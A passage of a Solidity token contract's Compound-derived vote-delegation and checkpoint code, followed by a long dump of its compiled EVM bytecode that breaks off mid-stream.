address(uniSwapRouter), uniSwapPair); } /** * @dev Returns the address of the current operator. */ /** * @dev Transfers operator of the contract to a new account (`newOperator`). * Can only be called by the current operator. */ // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain //bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract //bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"), delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce"); require(now <= expiry, "delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x6080604052600436106102345760003560e01c8063782d6fe11161012e578063bed99850116100ab578063ee20e7841161006f578063ee20e78414610e14578063f1127ed814610e65578063f2fde38b14610ee7578063f607f2b414610f38578063fccc281314610f775761023b565b8063bed9985014610c3c578063c3cda52014610c6b578063c7f59a6714610cf1578063d837df0514610d4e578063dd62ed3e14610d8f5761023b565b8063a392e674116100f2578063a392e67414610a8f578063a457c2d714610aca578063a9059cbb14610b3b578063a9e7572314610bac578063b4b5ea5714610bd75761023b565b8063782d6fe1146108ad5780637ecebe001461091c5780638da5cb5b1461098157806395d89b41146109c25780639f9a4e7f14610a525761023b565b80633bd5d173116101bc5780636a141e2c116101805780636a141e2c146107365780636fcfff451461077557806370a08231146107e0578063715018a6146108455780637687e5b61461085c5761023b565b80633bd5d1731461059d578063587cde1e146105ee5780635c19a95c146106695780635d01ff3d146106ba57806369fe0e2d146106fb5761023b565b8063269f534c11610203578063269f534c146103fd578063313ce56714610464578063376c23911461049257806339509351146104d15780633a537b0c146105425761023b565b806306fdde0314610240578063095ea7b3146102d057806318160ddd1461034157806323b872dd1461036c5761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610fb8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029557808201518184015260208101905061027a565b50505050905090810190601f1680156102c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102dc57600080fd5b50610329600480360360408110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105a565b60405180821515815260200191505060405180910390f35b34801561034d57600080fd5b50610356611078565b6040518082815260200191505060405180910390f35b34801561037857600080fd5b506103e56004803603606081101561038f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611082565b60405180821515815260200191505060405180910390f35b34801561040957600080fd5b5061044c6004803603602081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115b565b60405180821515815260200191505060405180910390f35b34801561047057600080fd5b506104796111b1565b604051808260ff16815260200191505060405180910390f35b34801561049e57600080fd5b506104cf600480360360208110156104b557600080fd5b81019080803561ffff1690602001909291905050506111c8565b005b3480156104dd57600080fd5b5061052a600480360360408110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061135f565b60405180821515815260200191505060405180910390f35b34801561054e57600080fd5b5061059b6004803603604081101561056557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611412565b005b3480156105a957600080fd5b506105d6600480360360208110156105c057600080fd5b8101908080359060200190929190505050611531565b60405180821515815260200191505060405180910390f35b3480156105fa57600080fd5b5061063d6004803603602081101561061157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561067557600080fd5b506106b86004803603602081101561068c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165c565b005b3480156106c657600080fd5b506106cf611669565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070757600080fd5b506107346004803603602081101561071e57600080fd5b810190808035906020019092919050505061168f565b005b34801561074257600080fd5b506107736004803603602081101561075957600080fd5b81019080803561ffff169060200190929190505050611749565b005b34801561078157600080fd5b506107c46004803603602081101561079857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118dd565b604051808263ffffffff16815260200191505060405180910390f35b3480156107ec57600080fd5b5061082f6004803603602081101561080357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b6040518082815260200191505060405180910390f35b34801561085157600080fd5b5061085a611949565b005b34801561086857600080fd5b506108ab6004803603602081101561087f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611acf565b005b3480156108b957600080fd5b50610906600480360360408110156108d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f5a565b6040518082815260200191505060405180910390f35b34801561092857600080fd5b5061096b6004803603602081101561093f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061231b565b6040518082815260200191505060405180910390f35b34801561098d57600080fd5b50610996612333565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ce57600080fd5b506109d761235c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a175780820151818401526020810190506109fc565b50505050905090810190601f168015610a445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a5e57600080fd5b50610a8d60048036036020811015610a7557600080fd5b810190808035151590602001909291905050506123fe565b005b348015610a9b57600080fd5b50610ac860048036036020811015610ab257600080fd5b8101908080359060200190929190505050612511565b005b348015610ad657600080fd5b50610b2360048036036040811015610aed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612619565b60405180821515815260200191505060405180910390f35b348015610b4757600080fd5b50610b9460048036036040811015610b5e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126e6565b60405180821515815260200191505060405180910390f35b348015610bb857600080fd5b50610bc1612704565b6040518082815260200191505060405180910390f35b348015610be357600080fd5b50610c2660048036036020811015610bfa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061274c565b6040518082815260200191505060405180910390f35b348015610c4857600080fd5b50610c51612822565b604051808261ffff16815260200191505060405180910390f35b348015610c7757600080fd5b50610cef600480360360c0811015610c8e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050612836565b005b348015610cfd57600080fd5b50610d4c60048036036040811015610d1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612bf1565b005b348015610d5a57600080fd5b50610d63612cf2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d9b57600080fd5b50610dfe60048036036040811015610db257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d18565b6040518082815260200191505060405180910390f35b348015610e2057600080fd5b50610e6360048036036020811015610e3757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d9f565b005b348015610e7157600080fd5b50610ec460048036036040811015610e8857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190505050612e89565b604051808363ffffffff1681526020018281526020019250505060405180910390f35b348015610ef357600080fd5b50610f3660048036036020811015610f0a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612eca565b005b348015610f4457600080fd5b50610f7560048036036020811015610f5b57600080fd5b81019080803561ffff1690602001909291905050506130d5565b005b348015610f8357600080fd5b50610f8c613267565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110505780601f1061102557610100808354040283529160200191611050565b820191906000526020600020905b81548152906001019060200180831161103357829003601f168201915b5050505050905090565b600061106e61106761326d565b8484613275565b6001905092915050565b6000600354905090565b600061108f84848461346c565b6111508461109b61326d565b61114b8560405180606001604052806028815260200161501d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061110161326d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a809092919063ffffffff16565b613275565b600190509392505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b6103e861ffff168161ffff1611156112d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180615045604a913960600191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fe9d5c8ee2a65d4fb859c680669d8f902172d53e3f15f9f11108a31bbada4b70b600660019054906101000a900461ffff1683604051808361ffff1681526020018261ffff1681526020019250505060405180910390a280600660016101000a81548161ffff021916908361ffff16021790555050565b600061140861136c61326d565b84611403856002600061137d61326d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3a90919063ffffffff16565b613275565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b6114c28282613bc2565b61152d6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613d2c565b5050565b60003373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b6115ea6115e461326d565b83613bc2565b60019050919050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6116663382613fc9565b50565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611735576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b620f42408161ffff16111561184f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526057815260200180614ef06057913960600191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fb62a50fc861a770636e85357becb3b82a32e911106609d4985871eaf29011e08600860009054906101000a900461ffff1683604051808361ffff1681526020018261ffff1681526020019250505060405180910390a280600860006101000a81548161ffff021916908361ffff16021790555050565b60116020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61195161326d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611c1e57600080fd5b505afa158015611c32573d6000803e3d6000fd5b505050506040513d6020811015611c4857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cdd57600080fd5b505afa158015611cf1573d6000803e3d6000fd5b505050506040513d6020811015611d0757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611d7f57600080fd5b505afa158015611d93573d6000803e3d6000fd5b505050506040513d6020811015611da957600080fd5b8101908080519060200190929190505050600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ea2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614ff1602c913960400191505060405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f3fe1abf2c4f1629f831f1b62c82dbf6ab91e0e6e7d0d2a005a3179f2823cb7eb60405160405180910390a450565b6000438210611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614e976021913960400191505060405180910390fd5b6000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415612021576000915050612315565b82601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161161210b57601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060010154915050612315565b82601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561218c576000915050612315565b6000806001830390505b8163ffffffff168163ffffffff1611156122af576000600283830363ffffffff16816121be57fe5b04820390506121cb614e76565b601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff16141561228757806020015195505050505050612315565b86816000015163ffffffff1610156122a1578193506122a8565b6001820392505b5050612196565b601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60126020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123f45780601f106123c9576101008083540402835291602001916123f4565b820191906000526020600020905b8154815290600101906020018083116123d757829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f3ca65588b29182880283bc8778fea5f01b351e01d874839a39a99e1c281a21138260405180821515815260200191505060405180910390a280600a60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f54c7a13ff01698e4ed3550a23216585f8472c7b1515a932eac98c9a6d48990c5600b5483604051808381526020018281526020019250505060405180910390a280600b8190555050565b60006126dc61262661326d565b846126d785604051806060016040528060258152602001615173602591396002600061265061326d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a809092919063ffffffff16565b613275565b6001905092915050565b60006126fa6126f361326d565b848461346c565b6001905092915050565b60006127476064612739600860009054906101000a900461ffff1661ffff1661272b611078565b61413a90919063ffffffff16565b6141c090919063ffffffff16565b905090565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116127b657600061281a565b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b600660039054906101000a900461ffff1681565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866612861610fb8565b80519060200120612870614249565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156129f4573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612aa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a20696e76616c6964207369676e617475726581525060200191505060405180910390fd5b601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914612b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f64656c656761746542795369673a20696e76616c6964206e6f6e63650000000081525060200191505060405180910390fd5b87421115612bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a207369676e6174757265206578706972656481525060200191505060405180910390fd5b612be5818b613fc9565b50505050505050505050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b80600660056101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6010602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b612ed261326d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613018576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614fcb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461317b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b60648161ffff1611156131d9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180614f6c603b913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f3eec69630b6f49d4e10eec296fce4baddec5f34c5430fb2cd72f8c4218f63fd0600660039054906101000a900461ffff1683604051808361ffff1681526020018261ffff1681526020019250505060405180910390a280600660036101000a81548161ffff021916908361ffff16021790555050565b61dead81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156132fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614fa76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613381576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806151986022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b8282826000613479612704565b11156135965760001515600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561352f575060001515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b156135955761353c612704565b811115613594576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180614eb86038913960400191505060405180910390fd5b5b5b600115156